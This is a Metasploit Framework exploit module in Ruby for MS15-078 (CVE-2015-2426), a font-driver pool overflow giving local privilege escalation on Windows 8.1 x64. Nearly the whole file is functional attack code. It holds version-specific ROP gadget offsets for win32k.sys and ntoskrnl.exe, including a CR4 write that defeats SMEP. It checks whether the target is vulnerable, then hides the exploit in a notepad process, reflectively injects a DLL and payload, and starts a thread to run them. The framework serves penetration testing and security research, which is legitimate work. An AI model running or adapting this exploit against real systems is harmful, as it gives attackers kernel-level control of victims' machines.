modules/exploits/windows/local/ms15_078_atmfd_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
WIN32K_VERSIONS = [
'6.3.9600.17393',
'6.3.9600.17630',
'6.3.9600.17694',
'6.3.9600.17796',
'6.3.9600.17837',
'6.3.9600.17915'
].freeze
NT_VERSIONS = [
'6.3.9600.17415',
'6.3.9600.17630',
'6.3.9600.17668',
'6.3.9600.17936'
].freeze
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow',
'Description' => %q{
This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing
a malformed font. The vulnerability was exploited by the hacking team and disclosed in
the July data leak. This module has been tested successfully on vulnerable builds of
Windows 8.1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Eugene Ching', # vulnerability discovery and exploit
'Mateusz Jurczyk', # vulnerability discovery
'Cedric Halbronn', # vulnerability and exploit analysis
'juan vazquez' # msf module
],
'Arch' => ARCH_X64,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 8.1 x64', {} ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-2426'],
['CVE', '2015-2433'],
['MSB', 'MS15-078'],
['MSB', 'MS15-080'],
['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'],
['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'],
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'],
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480']
],
'DisclosureDate' => '2015-07-11',
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_thread_create
]
}
}
}
)
)
end
def patch_win32k_offsets(dll)
@win32k_offsets.each do |k, v|
case k
when 'info_leak'
dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<'))
when 'pop_rax_ret'
dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<'))
when 'xchg_rax_rsp'
dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<'))
when 'allocate_pool'
dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<'))
when 'pop_rcx_ret'
dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<'))
when 'deref_rax_into_rcx'
dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<'))
when 'mov_rax_into_rcx'
dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<'))
when 'pop_rbx_ret'
dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<'))
when 'ret'
dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<'))
when 'mov_rax_r11_ret'
dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<'))
when 'add_rax_rcx_ret'
dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<'))
when 'pop_rsp_ret'
dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<'))
when 'xchg_rax_rsp_adjust'
dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<'))
when 'chwnd_delete'
dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<'))
end
end
end
def set_win32k_offsets
@set_win32k_offsets ||= proc do |version|
case version
when '6.3.9600.17393'
{
'info_leak' => 0x3cf00,
'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3
'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3
'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag
'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3
'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3
'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3
'ret' => 0x6e314, # ret C3
'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3
'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3
'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3
'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3
'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete
}
when '6.3.9600.17630'
{
'info_leak' => 0x3d200,
'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3
'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3
'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3
'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3
'ret' => 0x14dc, # ret C3
'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3
'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3
'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3
'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete
}
when '6.3.9600.17694'
{
'info_leak' => 0x3d300,
'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3
'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3
'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3
'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3
'ret' => 0x6683, # ret C3
'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3
'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3
'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3
'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete
}
when '6.3.9600.17796'
{
'info_leak' => 0x3d000,
'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3
'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3
'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag
'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3
'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3
'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3
'ret' => 0x1B21, # ret C3
'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3
'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3
'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3
'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete
}
when '6.3.9600.17837'
{
'info_leak' => 0x3d800,
'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3
'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3
'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3
'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3
'ret' => 0x14dc, # ret C3
'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3
'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3
'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3
'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete
}
when '6.3.9600.17915'
{
'info_leak' => 0x3d800,
'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3
'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag
'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3
'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3
'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3
'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3
'ret' => 0x14DC, # ret # C3
'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3
'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3
'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3
'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete
}
end
end.call(@win32k)
end
def patch_nt_offsets(dll)
@nt_offsets.each do |k, v|
case k
when 'set_cr4'
dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<'))
when 'allocate_pool_with_tag'
dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<'))
end
end
end
def set_nt_offsets
@set_nt_offsets ||= proc do |version|
case version
when '6.3.9600.17415'
{
'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag
}
when '6.3.9600.17630'
{
'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag
}
when '6.3.9600.17668'
{
'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag
}
when '6.3.9600.17936'
{
'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag
}
end
end.call(@ntoskrnl)
end
def atmfd_version
file_path = expand_path('%windir%') << '\\system32\\atmfd.dll'
major, minor, build, revision, branch = file_version(file_path)
return nil if major.nil?
ver = "#{major}.#{minor}.#{build}.#{revision}"
vprint_status("atmfd.dll file version: #{ver} branch: #{branch}")
ver
end
def win32k_version
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
return nil if major.nil?
ver = "#{major}.#{minor}.#{build}.#{revision}"
vprint_status("win32k.sys file version: #{ver} branch: #{branch}")
ver
end
def ntoskrnl_version
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'
major, minor, build, revision, branch = file_version(file_path)
return nil if major.nil?
ver = "#{major}.#{minor}.#{build}.#{revision}"
vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}")
ver
end
def check
# We have tested only windows 8.1
version = get_version_info
unless version.build_number != Msf::WindowsVersion::Win81 && !version.windows_server?
return Exploit::CheckCode::Unknown
end
# We have tested only 64 bits
if sysinfo['Architecture'] != ARCH_X64
return Exploit::CheckCode::Unknown
end
atmfd = atmfd_version
# atmfd 5.1.2.238 => Works
unless atmfd && Rex::Version.new(atmfd) <= Rex::Version.new('5.1.2.243')
return Exploit::CheckCode::Safe
end
# win32k.sys 6.3.9600.17393 => Works
@win32k = win32k_version
unless @win32k && WIN32K_VERSIONS.include?(@win32k)
return Exploit::CheckCode::Detected
end
# ntoskrnl.exe 6.3.9600.17415 => Works
@ntoskrnl = ntoskrnl_version
unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl)
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Appears
end
def exploit
print_status('Checking target...')
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Target not vulnerable')
end
if check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if check_result == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k')
end
unless session.arch == ARCH_X64
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...")
set_win32k_offsets
fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil?
set_nt_offsets
fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil?
begin
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, { 'Hidden' => true })
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
encrypted_dll = ::File.binread(library_path)
dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_dll)
patch_win32k_offsets(dll)
patch_nt_offsets(dll)
exploit_mem, offset = inject_dll_data_into_process(process, dll)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end